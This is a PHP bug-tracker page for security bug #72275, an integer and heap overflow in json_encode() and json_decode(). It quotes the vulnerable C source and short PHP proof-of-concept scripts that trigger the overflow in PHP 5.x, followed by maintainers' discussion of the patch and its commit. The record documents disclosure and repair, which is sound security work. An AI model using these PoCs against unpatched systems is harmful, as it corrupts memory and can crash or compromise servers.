php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72275 Integer Overflow in json_encode()/json_decode()/json_utf8_to_utf16()
Submitted: 2016-05-27 16:05 UTC Modified: 2016-06-21 06:46 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: JSON related
PHP Version: 5.5.36 OS:
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2016-05-27 16:05 UTC] taoguangchen at icloud dot com
Description:
------------
Integer Overflow in json_encode():

```
static void json_escape_string(smart_str *buf, char *s, int len, int options TSRMLS_DC) /* {{{ */
{
	...
	while (pos < len)
	{
		us = (options & PHP_JSON_UNESCAPED_UNICODE) ? s[pos++] : utf16[pos++];

		switch (us)
		{
			case '"':
				if (options & PHP_JSON_HEX_QUOT) {
				smart_str_appendl(buf, "\\u0022", 6);
...
static PHP_FUNCTION(json_encode)
{
	...
		ZVAL_STRINGL(return_value, buf.c, buf.len, 1);
```

It is possible to create a corrupted string-typed ZVAL with negative value length via json_escape_string().

PoC:
```
<?php

ini_set('memory_limit', -1);
$str = str_repeat('"', 0xffffffff/6);
$str = json_encode($str, JSON_HEX_QUOT);
var_dump(strlen($str));

?>
```

Integer Overflow/Heap Overflow in json_decode()/json_utf8_to_utf16()

```
PHP_JSON_API void php_json_decode_ex(zval *return_value, char *str, int str_len, int options, long depth TSRMLS_DC) /* {{{ */
{
	int utf16_len;
	zval *z;
	unsigned short *utf16;
	JSON_parser jp;

	utf16 = (unsigned short *) safe_emalloc((str_len+1), sizeof(unsigned short), 1);

	utf16_len = json_utf8_to_utf16(utf16, str, str_len);
```

When `str_len` is -1, `utf16` will be allocated 0x10 size.

```
static int json_utf8_to_utf16(unsigned short *utf16, char utf8[], int len) /* {{{ */
{
	size_t pos = 0, us;
	int j, status;

	if (utf16) {
		/* really convert the utf8 string */
		for (j=0 ; pos < len ; j++) {
			us = php_next_utf8_char((const unsigned char *)utf8, len, &pos, &status);
			...
				utf16[j] = (unsigned short)us;
			}
		}
```

However `pos` is defined as size_t, thus produce signed comparison issue, `len` will be converted into size_t, that results in heap overflow.

PoC:
```
<?php

ini_set('memory_limit', -1);
$str = str_repeat('"', 0xffffffff/6).'A';
$str = json_encode($str, JSON_HEX_QUOT);
$str = json_decode($str);

?>
```


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-06-14 05:52 UTC] stas@php.net
Not sure I understand this part:

> When `str_len` is -1, 

why str_len would be -1?
 [2016-06-14 06:03 UTC] stas@php.net
Looks like in smart_str length is size_t but in zval length is int, so we'd need to put an overflow check there probably.
 [2016-06-14 06:14 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-06-14 06:14 UTC] stas@php.net
https://gist.github.com/24005a39e936688b845a6a88ae334210 and f64a911775186f14463155aa4d72c254f72a4a19 in security repo contain the fix. Please verify.
 [2016-06-14 06:19 UTC] taoguangchen at icloud dot com
-Status: Assigned +Status: Open
 [2016-06-14 06:19 UTC] taoguangchen at icloud dot com
the patch looks like OK for json_encode().

```
static PHP_FUNCTION(json_decode)
{
	char *str;
	int str_len;
	...
	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|bll", &str, &str_len, &assoc, &depth, &options) == FAILURE) {
		return;
	}
	...
	php_json_decode_ex(return_value, str, str_len, options, depth TSRMLS_CC);
}
```

json_decode() dose not check `str_len`, so set `str_len` into -1 is possible via a corrupted string-typed ZVAL.
 [2016-06-14 06:44 UTC] stas@php.net
Sorry, I'm not sure I understand - excluding the fixed bug, how you get the length to be negative? Is there another bug? Could you provide a reproduction for it?
 [2016-06-14 06:51 UTC] remi@php.net
@stas: I think should be (in your gist)

-	        if (UNEXPECTED((d)->a > INT_MAX)) { \
+	        if (UNEXPECTED((d)->a >= INT_MAX)) { \

As SMART_STR_DO_REALLOC use (d)->a + 1
 [2016-06-14 07:02 UTC] stas@php.net
Thanks, updated.
 [2016-06-14 07:18 UTC] taoguangchen at icloud dot com
Some functions can create a string with negative value length in 5.x series, ex: bug#72138 and bug#72268. I will post more examples later.
 [2016-06-14 07:34 UTC] taoguangchen at icloud dot com
In this bug, create a string with -1 as length via json_encode():

```
<?php

ini_set('memory_limit', -1);
$str = str_repeat('"', 0xffffffff/6).'A';
$str = json_encode($str, JSON_HEX_QUOT);
var_dump(strlen($str));

?>
```

Of course, you can say that it is not possible to input a string with negative value length directly, but it is possible via addslashes()/addcslashes() or other functions.
 [2016-06-14 07:35 UTC] stas@php.net
Please add those as separate bugs then.
 [2016-06-14 07:36 UTC] stas@php.net
Please add addcslashes/addslashes bug as a separate report with reproduction.
 [2016-06-21 06:49 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=489fd56fe37bf40a662931c2b4d5baa918f13e37
Log: Fix bug #72275: don't allow smart_str to overflow int
 [2016-06-21 06:49 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-06-21 07:03 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=489fd56fe37bf40a662931c2b4d5baa918f13e37
Log: Fix bug #72275: don't allow smart_str to overflow int
 [2016-06-21 07:26 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=489fd56fe37bf40a662931c2b4d5baa918f13e37
Log: Fix bug #72275: don't allow smart_str to overflow int
 [2016-06-21 07:27 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=489fd56fe37bf40a662931c2b4d5baa918f13e37
Log: Fix bug #72275: don't allow smart_str to overflow int
 [2016-06-22 05:58 UTC] krakjoe@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=489fd56fe37bf40a662931c2b4d5baa918f13e37
Log: Fix bug #72275: don't allow smart_str to overflow int
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sun Oct 27 16:01:27 2024 UTC